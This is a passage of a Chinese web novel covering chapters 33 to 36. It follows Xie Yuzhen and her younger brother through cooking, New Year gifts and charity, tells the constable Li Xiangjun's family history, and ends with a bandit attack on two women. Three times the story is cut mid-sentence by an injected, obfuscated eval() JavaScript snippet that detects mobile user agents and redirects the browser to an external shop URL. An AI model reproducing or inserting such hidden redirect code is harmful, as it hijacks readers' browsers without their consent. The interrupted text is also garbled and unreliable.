回去也要将近中午了，吹着风，谢玉珍转念想起今秋埋进土里的一袋红薯，想必缩水一些后会更甜吧。 于是乎决定中午做道红薯甜汤，热气腾腾的，特别适合年关时候。 回到家后，她便拿起锄头将埋在地下的红薯挖了出来，里面居然有几个生了芽。 “可惜了。”谢玉珍将生了芽尖的块茎丢到墙角，处理起拿出来的几个红薯。 33. 帮助别人是为了别人高兴 “女兄，我……”谢朗背过手支吾，绞尽脑汁也没说什么。 “你是否觉得，女兄这是在心疼银子？”谢玉珍见他不语，先行开口问道。 …… “最近可在读《孟子》了。”谢玉珍见谢朗不说话，又开口问道。 谢朗虽不知谢玉珍为何突发此问，仍旧老实回答了。“在学了。” “既然如此，那我问你。”谢玉珍说道，“《孟子》尽心下中，君子不立于危墙之下是什么意思？” “君子不会站立在摇摇欲坠的墙壁下。”谢朗回答道，“圣人的意思是，一个有见识的君子，是不会让自己处于危险的地方。” “卖炭的阿翁，良善的妇孺，”食指叩击石板的清脆声音响起，“今天能好心一次，来日便有一百个、一千个人，用君子的道德，来逼迫我们继续‘好心’。” 谢玉珍感到有些头疼，仍然耐心地解释着：“苦难难道能被理清，凭借一个人，两个人？” “我明白了女兄。”谢朗自幼聪慧，不会转不过弯来，“我以后不会如此了。” “倒也不是这个意思。”谢玉珍说道，“上天有好生之德，我们既然看见了，有余力帮又何必不帮，但行好事莫问前程，不教别人知道罢了。” “我明白了。”谢朗笑，拔腿跑了出去。 谢玉珍也不再管这个事，朗哥儿自有分寸。 另一头 “阿翁，阿翁，等等！” 卖炭翁甩着鞭子，驱赶着和他一样骨瘦如柴的老牛，忽而听得后面有传唤声，在空寂的冬日显得格外明显，倒让他不至于觉得自己是老了听错了。 他眯起双眼，慢悠悠地回头一望，下意识瑟缩了一下，心里泛起一阵恐慌。 谢朗跑得气喘吁吁的，面上笼罩着一层白气，不一会儿随着呼吸调整散开了。 “小郎君这是，可是有什么不满意的？”不知道为何，哪怕是面对着谢朗这等孩童，卖炭翁的腰仍然是弓着的。 谢朗平稳呼吸，连忙说道：“不是，我是想问问您车里还有没有炭？” “有的有的！”卖炭翁闻言，欣喜若狂，“小郎君要多少？” “给我拿四斗吧！”谢朗思考了一会儿，从怀里掏出了一小块银子，这是谢玉珍平日里给他的零用，他攒下来了一些，“明日辰时送过来，这是定金，剩下的银子和跑路的费用明天结给您。” “小的家住李家河河湾二户，明日、明日辰时我一定送到！”卖炭翁接过碎银子，感激说道。 “你孙子既然病重，你便快些回家吧，早些就医，可千万不能拖啊阿翁。”见对方纳头欲拜，谢朗连忙拦下来，催促他回家给孙子看病，“将近年关了，可要过个好年。” “谢谢小郎君，托您们的福气！”卖炭翁连连点头，脸上堆满了笑，眼里却蓄着泪花。 见人慢慢走远，谢朗茫然地捂住心口，他只觉得胸口热热的，就连眼眶，都热热的。 帮助别人，原来本就不是需要别人感激，而是要别人高兴。 水珠从木舀中倾泻而下，击打在兰花的花叶上，溅飞无数水珠，谢玉珍撑腮看它，兰花上结着一个花苞子，不过蔫答答的，仿佛随时都会枯萎凋谢一样。 “女兄，我回来了！”谢朗站在窗前，眼睛里仿佛有星星，看上去很高兴。 “回来了，去温书吧。”谢玉珍挥了挥手，有气无力地说道。 谢朗觉得奇怪，为什么谢玉珍有时候很活泼，有时候又像被吸了阳气一般萎靡，就像案前这朵要谢不谢的兰草。 “女兄，我想吃汤饼。”谢朗说道。 “要汤水的还是干捞的?”谢玉珍站起身来，恢复了活力，面色仿佛也红润了几分。 “干捞的。”谢朗说道，他怎么感觉，除了上次游船，女兄只有做饭和吃饭的时候才显得高兴一些。本来以为只是错觉，现在却深深有怀疑了。 “那就做个鸡蛋卤子的好了。”谢玉珍放下怀里撒娇的呜云，抬步走了出去。“再加些红椒皮好了。” 呜云紧紧跟在谢玉珍的脚边。 谢玉珍拿出风干好的辣椒段，里面都是真空的，籽都被掏出来打算用来育种了，将辣椒段放进热水中浸泡，放置一边。 照例，油烧热放蒜瓣炸到金黄，等炸出香气，就把蒜瓣用筷子拈出来，然后将打散好的鸡蛋顺着筷子滑入锅里。 鸡蛋卤子的鸡蛋要炒的嫩，油就不能不舍得放，等鸡蛋的底部凝固，就可以给鸡蛋翻个面，迅速炒散了，然后将炒好的嫩鸡蛋放出来，分出一部分放到一边。 这个时候辣椒水也泡好了，抓一小把面粉进去搅匀，往锅里先放了一些盐巴和豆酱，再将面粉水倒入勾芡。 一满盘鸡蛋卤子就这样做好了。 浓郁的颜色让人看了胃口大开，刷干净锅重新烧水，谢玉珍拿出醒好的面团，擀平擀薄后开始切饼。 饼切好抻长，就可以下入烧开水的锅里了，等面饼快熟的时候，就可以下一把菘菜进去了。 把面饼和烫熟的菘菜分捞到两个碗里，将鸡蛋卤子浇到面饼上面，再搅匀就可以吃了。 谢朗拿起其中一碗，面饼被筷子挑起的瞬间弹了两下，吸溜进口里，吃的他头也不抬。 最先窜上味蕾的是醇厚的豆酱和鸡蛋香味，而后辣味紧跟而至，菘菜被烫的刚刚好，保留着一股子脆劲儿，青菜的清新味道又让辣气变得柔和起来。好似高山流水，相辅相和。 面饼的弹牙也是一大两点，总结就是两个字——好吃。 “晚上吃熏肉蒸饭吧。”谢玉珍说道。“熏好的肉明天给张夫子送去一些。” “女兄，”谢朗开口，“我跟卖炭的阿翁又买了四斗炭，明天可以送两斗给夫子，和肉一起，权当做今年的年礼了。” “好。”谢玉珍咽下最后一口食物说道，“剩下两斗我明天去镇子里托人送到李郎君那里，算是感谢他的帮扶。你明天直接从钱箱里拿钱给卖炭的阿翁。” “我晓得的。”谢朗应答着，自觉地收拾起碗筷， “我去做衣裳，你收拾完温一会儿书。”谢玉珍站起身来说，“听张娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780322|190384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子说，夫子年底对你还有考校，你自己留心一些。” 谢朗点头，见谢玉珍进了房，麻利整理好厨房区域，点了半盆炭火送进了谢玉珍的房间。 “我不用，拿到书房去吧。”谢玉珍搓了搓手，拿起针线，讶然看向端着炭盆的谢朗，开口劝道。 谢朗摇头，拉着谢玉珍的手摸自己的脖子，感觉到一片冰凉，他说：“我一个男子汉，血气方刚，哪里需要炭盆了，你摸我的脖子，还是热的呢，手也是热的。” 谢朗不赞同地捂热谢玉珍的手，不容置疑地出去了。 谢玉珍愣了一下，笑出了声，感觉手指的确更灵活了一些，穿针引线描花样子熟练又快。 此时他们各自安好，过着自己平淡幸福的小日子，并不知道，未知的煊赫命运如滚滚红云，等在了他们的前路。 呜云吃完无调料版汤饼，一下子顶开房门乖顺地蹲在谢玉珍的脚边。 次日一大早，卖炭翁就准时敲了门，谢朗还在晨读，开门一看，卖炭翁的眉毛上还沾着雪粒，拎着两麻袋炭火蹲在门边。 “不是辰时吗，怎么来这么早？”谢朗望着微亮的天色，疑惑道，天冷路滑，本不该在天没亮时候行路的。 卖炭翁只讨好的笑：“怕耽误了小郎君家里的事，我就想着早些送来，回去也可以购置些日用货。” “你在门口等一会儿。”谢朗说完，回房间拿好银子，正想直奔门口，望了一眼冒着烟的灶台，犹豫了一会儿又走过去，从锅里拿了一块饼子，“喏，钱给你。” 卖炭翁将银子收进怀里的口袋，鞠了一躬后就打算走。 “等一下。”谢朗连忙叫住他，“这个给你，你不数一数？”他将饼子强塞进卖炭翁的手里，疑惑问道。 “像您们这般的人家，怎么会亏我一个老头子的银子。”卖炭翁笑，做生意的，大多对钱敏感，他一掂量就知道数对不对，“不用数了，要我帮忙把炭搬进去吗？” “这一袋帮我搬到隔壁院子去，另外一袋我推个板车出来，你搬到板车上。”谢朗思索一二便说道。 将隔壁门敲开后，还没来得及打声招呼，谢朗又跑回自己家里叫谢玉珍一起推出一个板车。 “劳累您了。”谢玉珍点头说道。 张大娘子望着院墙下的一袋炭，问道：“这是？” “朗哥儿让人抬进来的。”张家大郎说道，他刚才是开门的，所以知道。 “想必是珍娘替朗哥儿给你爹送的年礼。”张娘子说，“寒冬腊月的，这可不便宜哦，” “前阵子爹老寒腿还犯了，真是及时雨。”张大郎感慨道。 “你还说！”张大娘子白了张大郎一眼，“你怎么没想起来给你爹买炭？半路收的弟子说不准还比你有孝心些。” “我们家之前也没有烧炭的习惯啊。”张大郎小声嘟囔着，没料被张大娘子听了个正着。 “你说什么？”张大娘子怒目一瞪，见自己儿子不说话了才说道，“你们可要记着，以后多护着朗哥儿一些。” “是是是。” 34. 不堪配，不能想，不越界 “劳烦沈二哥了。”谢玉珍将炭火和一些干货抬下来，笑着说道。 “哪里的话，老大的事就是我的事，”沈二将炭抬到台阶上面，揶揄地笑，作出一副古怪表情。 谢玉珍微不可微地蹙了蹙眉，不过一瞬，就舒展开来，点头道：“等年关过了，你们还到堂前燕吃饭，等开春了，第一波春笋出来，我再研究新菜。” “那感情好啊！我可等着了。”沈二笑应，“我先回去了，东西我一定送到！”沈二挥手。 谢玉珍推起车便往家的方向回去。 等李香君收到东西的时候，已经是三天之后了。 “不是老大，这两天你去哪儿了？”沈二望着李香君控诉，“三天，我把这些东西往你家背了九回！好几次差点儿碰到兰姨了，幸亏我机敏藏的好。” “辛苦你，下次揭榜的赏金我那份分你一半。”李香君暗暗勾起嘴角，拍了拍沈二的肩膀，抱歉道。 “你说的，我走了！”沈二笑起来，“替我跟兰姨问个好。” 李香君将东西搬回到堂屋内，内里便传来一道柔弱的声音—— “君儿，是你回来了？”一双手揭开布帘，一位鬓角微霜，眼角有些许皱纹的美貌妇人从内屋走出来。 “娘，是我。”李香君连忙答应，走过去扶着妇人。 “我哪里有这么娇弱了。”妇人咳嗽了几声，拂开李香君的手，坐在椅子上，“这几天你去哪儿了？” “揭榜抓犯人去了。”李香君面不改色地说谎，将一杯热水递给他娘亲。 妇人接过水杯，心下怀疑问道：“真的？以前你过年从来不去揭榜的。” “当然是真的，我什么时候骗过娘？”李香君说道。 妇人叹了一口气，望着远方，不知道想到了些什么，眼神有些哀伤，她说道：“不要太累了，现在日子已经很好了，哪里要你这么拼命。这是谁送的？” 妇人这才注意到屋内摆放着的东西，她打开麻袋看了一眼，才问起来。 “是，是谢娘子托沈二给我们家送的年礼。”李香君脸爆红，吞吞吐吐说道。 “也是有心了，”妇人看了看李香君红透的耳朵，笑了笑说道，“你给人家送了没有？” “未曾。”李香君觉得之前送的兔子太寒酸，说道。 “明天挑些些东西送过去吧。”妇人说道，“话说起来，谢娘子之前险些遭遇牢狱之灾，也是多亏你秉公处理，直言犯上。你们之间，也算有些缘分。” “便是有缘，也不过是有缘无分。我这样的人，怎么配得上人家。”李香君黯然，“娘，你可别再提这个事了，别坏了谢娘子名声。” 李母想到儿子的身份，不由得长叹一口气，眼角一下子含了一口泪，有些哽咽地说道：“也是怪我，若不是我，你怎么会入贱籍，怎么会到如今碰到喜欢的姑娘都说不出口。” 想起来之前的苦日子，李母越发觉得自己这多愁多病的身子不中用，怨老天，怨亡夫，甚至怨自己。 “这是哪里的话！”李香君闻言，声音大起来，“娘是为了我和我爹才落下来的病，我是什么男人？还要怪罪自己的老娘？” “可你是为了给我治病才去当捕快，就为了入籍的那二两银子啊！”李母眼泪流个不停，“我的儿啊。”她想到过去，哽咽的说不出话来。 “娘，别哭了，你本来就有眼疾。”李香君无奈地安慰起自己的母亲来，“如今已经这样了，我们过好我们的日子就是。至于嫁娶之事，只看天意，怎可强求。” 李母慢慢抹干净眼泪，说道：“要不娘再去求求你舅舅，让他帮帮你？” 李香君闻听此言便一下子冷了脸色：“够了，二十多年前你是怎么跪晕在武府石狮子前面的，十几年前我又是怎么跪求他的？娘，你全然忘记了吗？” 二十一年前，李母，也就是武兰筠怀孕两个月多的时候，李香君的父亲就无缘无故被构陷入狱，她整个人瘦脱了相，为了夫君四处奔走。 武家当时早就没落了，武兰筠嫡出的兄弟都早夭了，武府的男丁只剩两个庶出的兄长，皆都是武父的贵妾所出。 武家大郎，不知道哪里来的运道，勾搭上了一个七品官员的独生女儿，勾的人家连入赘的条件都求着自己爹爹放弃了。 李香君父亲出事之后，武兰筠走投无路之下跪在武府门前求庶兄帮忙，可一整天，武府的大门都不曾打开，后来有好事者传出来，当日武府的采买，都是从角门出入的。 武兰筠的病，就是在那天的雨里埋下的病根。 再后来，李父不出意外被斩首了，武兰筠的庶兄才虚情假意地来李家关心自己的嫡妹，话里话外的意思，就是让当时尚且青春貌美的妹妹改嫁。 “我的好妹妹，如今你留在这个家里，还有什么意思呢。”武家大郎捋着自己修剪整齐的胡须劝说，“像你这样青春尚好，怎么能在一个歪脖子树上吊死？只要你听哥哥的，保证你以后过的比现在好过千倍万倍！” “哥哥？”武兰筠到现在为止，都还记得自己当时的语气，她声音颤抖着，“你不要以为我不知道，你是想把我送给你岳父的上官做小，我到底是你的妹妹，还是你不共戴天的仇人？！” “我是看你是我妹妹，才把这个好机会给你，”武家大郎眼睛一瞪，说道，“我劝你，还是把这个孽种赶快落了，否则，哼，一辈子的穷日子在后面等着你！” “你给我出去，我们李家不欢迎你！”武兰筠又悲又愤，指着大门口赶人。 “我就愿意待在这穷酸地方？”武家大郎冷笑一声，拍了拍武兰筠的肩膀，然后得意得大步踏出去，“小妹，做人啊，可别太天真了，” 武兰筠自然是没有如武家大郎所愿，在她生下李香君之后，身体更加不好，祸不单行，李香君的祖母也在这一年，看见李香君降世之后郁郁离世。 李香君五岁那年的冬天，洛阳盖了厚厚一层雪，气温低的吓人，武兰筠病的昏昏沉沉，差一点就步入了鬼门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780323|190384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关。 并不清楚兄妹二人龃龉的小香君，便把希望放在了从未谋面的舅舅身上。 可想而知，同样的场景，在一对苦命母子身上上演了两回。 可惜李香君不是傻子，不会干跪在武府门前，不过一个时辰，他便知道，求这个跟陌生人没什么两样的舅舅，是没有任何用的。 他转头就去了户籍司，自请入了捕快司的贱籍。 从官府手里，拿到了他娘救命的二两银子药钱。 入了捕快司的孩子，吃穿住行，都由官府买单，代价是往下数三代，都不得脱籍。 在重文轻武的虞朝，这不是一个好活路，可是李香君只有五岁，他没有别的出路，这世界上更没有那么多的善男信女又那么恰巧被他碰上。 他只知道，没有娘，他就是野孩子了。 “我不再提了，那孩子的事，我也不再提了”好不容易止住眼泪的武兰筠，又忍不住红了眼眶，“君儿，你会不会觉得，娘的骨头太软了？”武兰筠小心翼翼看向李香君。 “娘都是为了我。”李香君说道，“都说了不再提了，娘，你就别再感伤了。我去做饭，刚好谢娘子送了些干货，我去泡起来一些，我先帮你把炭盆子点起来，还有兔毛褂子，你怎么又忘记穿着了？” “在床上躺久了，只觉得身子热，现下才觉得凉。”武兰筠摸向自己刚有些凉的指尖，说道，“我这就穿了。” 李香君将一些菇子取出来用热水泡上，把米投入锅里之后才说道，“我明年年初可能会忙一些，娘，你自己的身体，自己要多关心，我不在家，你就把门栓好，有什么想要的，托人告诉沈二。” “家里没什么缺的。”武兰筠穿好褂子，说道，“你忙你的就是，我又不是什么娇弱的小姐。” “这菇子是拿来煮汤就饼子，还是炒着吃啊？”菇子复水后，李香君探出头问道。 就这样泡了一会儿，他已经闻到野菇子的香味了，这野菇子品质相当可以。 “这天气，”武兰筠走过来拿起一个菇子看，“这么好的菇子，拿来煮汤合适些，还方便。” “我想也是。”李香君想了想，拍了几瓣蒜，将蒜剁成蒜末后放到一边。 像这种品相的菇子不需要过多的调味，只需要放一些盐就够了，如果还想让味道丰富一点，可以放一把脆生生的豆芽，主要是豆芽这东西在他们大虞，家家户户都会做，冬天也很容易得到。 将菇子和水一起放到瓦罐里，放一些盐之后等一会儿，再下入豆芽，李香君又私自加了两个鸡蛋进去。 梁下谢玉珍之前送的腊肉有些冻的发硬，却更好切了，锅里的米焯好了，李香君捞起米汤，将米饭重新放回锅里焖，周围撒两圈米汤，防止糊锅。 切好一盘腊肉，放进锅里一起蒸。 盖上锅盖，望着冉冉上升的白汽，李香君出了神。 不堪配，不能想，不越界。 他与谢娘子，现在这种朋友关系，就很好。 35. 腌萝卜丝和鸡汤索饼 到了除夕这日，张大娘子想到谢玉珍姊弟二人孤孤单单，遣儿子来请他们一起过除夕，一起守岁。 围在炉火边，一众人说说笑笑，不知是谁，说起了张二郎。 张夫子立马沉了脸色，吹胡子瞪眼。 “也不知道是去哪里鬼混了，年关也不回来！”张夫子说道，“既然没中，就该早些回来温书才是。” “我看二郎就不是读书那块料子。”张大娘子摇头，说道，“平日里读书连几柱香都坐不住，浑像个猴子似的，爬树掏鸟，上山抓兔，这种事倒是干的不厌烦。” 屋里女眷不由得窃笑，张娘子也笑，劝张夫子放宽心。 “朗哥儿，你过来。”张夫子沉下气，将谢朗唤到身边，从袖子里掏出一个红封来，“把这个压在枕头下面，来年平平安安。” 谢朗转头看谢玉珍，见她未曾表示什么，喜盈盈地收下了：“谢谢老师！” 张夫子笑，和张娘子对视一眼，张娘子也掏出一个红封，笑着按到谢玉珍手里说道：“这是给珍娘的，可要收好了。” “这——”谢玉珍望着手里的红封，里面只有两个铜板，握在手里，却重若千钧，“谢谢张娘子。” 幼时她祖母也是，每年除夕给红封压岁，自从祖母仙逝，她拿起绣针撑起门楣，就再也不曾有如今的景象了。 “以后等朗哥儿和珍娘都成亲了，谢家也要热闹起来了。”张娘子揶揄道。 大家善意地笑起来。 到了后半夜，小孩子先撑不住了，王清儿的女儿暖杏眼皮子打架，靠在她娘身上打瞌睡。王清儿又轻轻把她碰醒，给小丫头喂了一口温水。 冬天天黑的早，除夕最后一顿饭是申时开始用的，撑到现在大家也都饿了，桌子上也有些果子和方瓜子，只是不敢吃多了，吃多了不仅上火，还容易口干，人下意识就喝水喝的多了。 喝水喝多了就容易如厕，天气冷的要死，大人还好，只怕把孩子冻病了。 “炉火这么旺，不烧点红薯吃就可惜了。”张夫子坐在炉子边煮茶烤橘子，让大郎去取红薯来。 “今年秋天的桂花晒的不错，取点陈皮出来，泡壶桂花陈皮茶给小辈们驱寒。”张娘子想起来今秋保存在罐子里的干桂花，提议道。 “可以啊，老夫也托孩子们的福气，厚颜尝上一尝了。”张夫子笑，“劳烦夫人了。” “一大把年纪，说些不知轻重的话。”张大娘子笑瞪张夫子，“清儿，拿碟子和碗来。” 王清儿心知这是要焙桂花了，连忙将碗碟拿出来，张娘子将桂花均匀铺在广口的碟子里面，将碟子小心翼翼地放到炭火上，碗倒扣在桂花上面，稍微等了那么一小会儿，就满室生香。 “桂花真可谓是花中之帅了，气味也忒霸道了。”谢玉珍笑着说道，“这么一烘，比它在树上的时候还要香几倍。” “热水一冲就淡了。”张娘子用钳子将碟子取出来，用点茶的小竹帚将桂花轻扫到勺子上，“那时候喝才是刚刚好，太香了就不太尝的出味道了。” “明早我做一锅清汤索饼，夫子和娘子来我家吃？”谢玉珍问道，“再备一些我自己腌的萝卜丝和菘菜。” 萝卜味甘性凉，中医上说有开胃健脾、顺气化痰的功效，像张夫子，张大娘子吃，都是对身体很好的。 “好啊。”张夫子点头答应。 泡好的桂花陈皮茶隔着瓷器给手心传递着热量，入口是微微的甜味，满口留香。 一口茶一口馓子，心里还期盼着炭火下的红薯，夜晚的时间不由得过的好快。 等到红薯被炭火焖熟了，子时也就熬过去了，大虞跨进了新的一年。 把红薯拿在手上捂手，谢玉珍站起身和二老告辞。 “我们走了，回去补个觉。”谢朗站在谢玉珍身后，听得她如此说道，不由得打了个哈欠，他昨夜温书睡的太晚，今天又要熬夜，也是真的感到困倦了。 “拿着灯笼，可别摔了。”王清儿把谢玉珍送到门口，递过纸灯笼道。 “嗯，你快进去。”谢玉珍接过灯笼，催促道。 —— “老头子，珍娘的谈吐，可不像没读书的姑娘。”张大娘子说道，“想必谢姐姐教了不少，这样的姑娘，要是给我做媳妇多好。”她咂舌，想起不成器的老二，心下觉得可惜。 张夫子想了想，说道：“珍娘比老二大两岁，人又妥帖，我也看出来老二的苗头了，只是老二现在也太不着调了，你自己都看不下去，别说小姑娘了。” “等二郎开春回来，问问二郎的意思，他要实在不成器，我也不再想这桩事了。二郎也不小了。”张娘子叹了一口气。 手心手背肉又不是一般厚，她虽然怜爱谢玉珍，但自然是更疼自己儿子。 虽然心知谢玉珍需要的是一个能撑起谢家的夫婿，可她还是会先为自己儿子做考虑。 “别想了，早些休息。”张夫子将灯吹灭，掀开被子躺下，顺便给张大娘子掖了掖被角。 次日雄鸡初啼，谢玉珍被吵醒了之后，在床上又躺了一会儿，左右睡不着想，便直接起身了。 索性拿起新的桃符，把去年旧的给替下来了，去年的也没丢，恭恭敬敬请到柜子里了。新的桃符上画的是神荼和郁垒两位神明的画像，民间传说可以保佑家宅平安。 院子里昨夜才扫最后一遍雪，不过半个晚上，地上又堆了厚厚一层，雪上还有枣树没落完的枯枝败叶，显得十分凄凉。 不过大年初一不方便动扫帚，就随它去吧。 她从腌菜坛子里掏出一小碟萝卜丝，腌菘菜比腌萝卜丝好制作，菘菜都是一切为二，一层菜一层盐，最后倒进烧开放凉的兑水醋密封静置一个月的，这个时候风味是最好的。 为了方便使用，还得用手一片一片掰好放进盘子里，闻起来十分酸爽。 面团昨晚就醒好放在那里，不过一会儿就擀好了，清汤面的重点是少油少酱，但味道不能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780324|190384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寡淡。 谢玉珍将炖好的鸡汤撇去浮油，只留下淡黄色半透明的清汤来做煮索饼的底汤，把鸡汤烧开，然后下进擀好的索饼，面条煮熟后再放一把葱花就是了。 索饼做好之后，谢朗香醒过来，自告奋勇去隔壁喊人。 张夫子几人进来的时候，几碗索饼已经热气腾腾地摆在桌子上了。 谢朗把张夫子让进主座，也就是和大门相反方向的座位，张大娘子则坐在张夫子左侧。 等张夫子夫妻动筷子后，谢玉珍几人才吃起索饼来，整个堂屋基本上听不到什么很大的声音。 谢朗挟了一筷子萝卜丝，咬在嘴里咯吱咯吱的响，有一种奇异的酸香，其实腌萝卜丝配粥，夏天吃也是很合适的。 特别是拿少许的油爆炒一遍，萝卜丝浸的油拌粥，不需要菜，也能吃下一整碗，特别特别香。 王清儿等公婆一桌人吃完，争着和谢玉珍一起收拾碗筷，她昨晚和珍娘约好，要去河东侧的梅林折红梅回来插花。 “我们去折梅了！”王清儿打了个招呼，把剪刀放到背篓里，“珍娘，走了！” “来了！”谢玉珍答应道，连忙跟了上去。 身后张夫子开始考校谢朗的功课，朗朗经义声一时苍老，一时幼稚。 河边的红梅远远望去好看极了，香味走近了些才闻到，红梅是远不及腊梅幽香的，可是颜色是腊梅远远比不上的，血红的花瓣嫩黄的蕊，和如枯枝一般的枝干，互相映衬。 “真真可爱。”王清儿边剪梅枝边笑，“真教人不知怎么喜爱才好。” 谢玉珍望着血红的梅花，心里也很是喜欢，她甚至带了一个瓷瓶来接梅花上的露水。 “就算看了这么些年，今年它开的时候，”谢玉珍说道，“心下也还是震动。”最美是天地所赐的钟秀。 “爹说梅花不仅是花中君子，而且花瓣还能入药呢。”王清儿得意地说起来，剪梅枝的手十分利落。 “何止能入药，等花瓣干了，还能做糕点呢。”谢玉珍想起书上雅客创的食方，不由得开口说起来，“据说味道清幽，不仅风雅，吃了还能诗兴大发。” “不过诗兴大发应该是假的。”她又补充道，“味道肯定不差，开春堂前燕就可以卖一段时间的梅糕了。” “那很好啊！”王清儿兴奋，“我还没尝过呢，到时候我肯定比客人先吃到了。” “这段时间我研究研究食方，看怎么做适口，做好了可要麻烦你帮我尝尝味道了。”谢玉珍也笑起来。 收集完露水后，谢玉珍便开始剪梅枝，她眼力好，剪的大多数是含苞待放，还能开一段时间的。 背篓不一会儿就被梅枝填得满当当的，二人也往回走。 两个人说说笑笑，绕了一段路，途中遇到几个小孩子，见小孩子眼馋，两个人相视一笑，大方的给出去梅枝。 走到村口石头那里，突然有一伙人冲出来—— “说，银票在哪里！” 36. 君子之风 一把寒刀横在谢玉珍和王清儿脖颈上，二人背靠着村口的巨石，只感到透心的凉。 谢玉珍手上拿着的梅枝，也被汗水潮湿，她缓了缓心神，故作镇定地问：“你们是何人，什么银票，我听不懂你们在说什么！” “还不承认？”几个恶徒脸上蒙着白巾，看不太清面相，拿刀的冷哼一声，说道：“也不怕告诉你，我等是潘案的宗族兄弟，我兄弟的银子，是不是都给了你了？！” 谢玉珍几乎没忍住快笑出声来，什么宗族兄弟，先不说钱不在她这里，从潘案拐卖自己堂姐妹，潘家人求告无门开始，潘家其他人就都跟他这一支断交了，跑的不知道有多远。 又是哪里冒出来的兄弟？ “且不说我和他早就退亲，就是还没退亲，他那样的人，怎么会把钱都交到我一个小女子手上。”谢玉珍小声说道，“再说了，整个嵩县谁不知道，他派人害我亲弟的事？他的家财要是在我手上，他能做的这么绝情？” 说到谢朗那件事，谢玉珍语气憎恨无比，颇带几分真情实意。 王清儿也不是很害怕，她颇通一些拳脚功夫，只是不知道这群人是何来历，不敢轻举妄动，若是她一人倒还好，只怕伤了玉珍妹妹。 “就算不是你拿的，我们也不得不——对不起了！” “郎君把我们放了，我们必定不会报官！”刀口挨近的瞬间，谢玉珍高声说道，“何必为了我们两个弱女子背上麻烦？这可不合算！” “麻烦？哼。”拿到的冷哼一声，“不解决你们，才是真的麻烦！” 说时迟那时快，王清儿趁他们注意力都在谢玉珍身上，迅速往下蹭下去，侧身把刀踢开，谢玉珍见状，迅速跑到石头另外一侧，不给王清儿拖后腿。 只是赤手空拳，对面人多势众，难免有不好应敌的纰漏之处。 “好你个小娘皮，你他娘的找死是不是！”其中一个黑衣人被谢玉珍一个石子击中后脑勺，怒目直瞪过去，扬起武器就要去攻击躲在石头后面掏出弹弓的谢玉珍。 “没教养的东西，我替你娘好好教训你！”谢玉珍将石子放到弹弓的弓带上，朝对方下三路处射去。 她眼眸一闪，心里想道，今日我不杀你，你们便要杀我，这可不能怪她心狠了。 来人未曾想到一个女子会使用这般阴损的招数，没有防备，直接疼得将膝盖屈了下去。 趁这个机会，谢玉珍又架上石子，这一次，目标是对面唯一漏出来的眼睛。 只是对面竟有一人发觉到这边的情况，抽身出来将石子击飞开来，眼神中的鄙夷几乎要泄出来：“一个女人都对付不了，真是吃酒把脑子吃傻了。” 说罢便将人踢开准备上前来，谢玉珍却在他骂同伙的时候缓缓蹲了下去。 “哼，现在束手就擒还不算晚，小爷一定给你一个痛快！”他一把提起谢玉珍的衣领，似乎是打算要将人抹脖子了事。 见谢玉珍两眼放空，他还以为谢玉珍被吓傻了，忍不住大笑起来，大刀就要挥上去—— 两把泥土被狠狠按进了他的双眼里面，剧烈的痛感让他不得不软了手脚，痛苦地倒在地上哀嚎，痛的四处打滚。 “我绝对不允许，有人破坏我现在来之不易的生活！”谢玉珍低声说道，她恨恨踹了他一脚，“ 所以，以后瞎了眼饿死、摔死、呛死，就不要怪她无情了。 这臭娘们下手真黑，几个人看着不由得都这样想道 这时，大道上传来渐行渐近的脚步声，声音沉稳有节奏，听起来是个成年男子。 谢玉珍见这几人似乎被她的行为震住了，拔腿就跑到大道边。 “救命，救命啊！有人要杀了！”她边跑边朝那边用弹弓丢石子边大声喊道。 弹弓是射程越远，打在身上越疼的，蚊子再小也咬人，几人忍无可忍，只留一人对付王清儿，其余人都追了过去。 反正他们的目标也不是这个面貌平平无奇的妇人。 李香君手上拿着礼物，见到谢玉珍头发凌乱地跑向他，不由得震怒不已。 “谢娘子快退至我身后！”谢玉珍见来人是李香君，心下安定一半，拿着弹弓躲到李香君的背后。 她小声说道：“这些人和潘案的案子有关系你小心为上。” “大人，他们来寻衅，你快把他们抓到牢里面去！”谢玉珍故意大声娇里娇气说话，“他们还说，要杀了我和我朋友，太可怕了呜呜呜。” “你放心，我今天既然路过了，就绝对不会不管这件事，咱们县尊一向秉公办案，我去求他给你做主！”李香君抽出大刀，向那几个窜逃的贼人追了上去。 谢玉珍连忙来到石头后面，王清儿心有余悸，正扶着石壁喘气。 “珍妹妹！你没事吧？”王清儿见她过来，快步迎了上去，双手捧起谢玉珍的手，心疼不已，“哎呀，指甲都撇了好几个，指缝里都是泥，怎么还出血了？那起子贼人真是可恶！” “没什么的。”谢玉珍覆上她的手安慰道，“我出一点血，他瞎了眼，很公平。以兔搏鹰，是我赢了。” 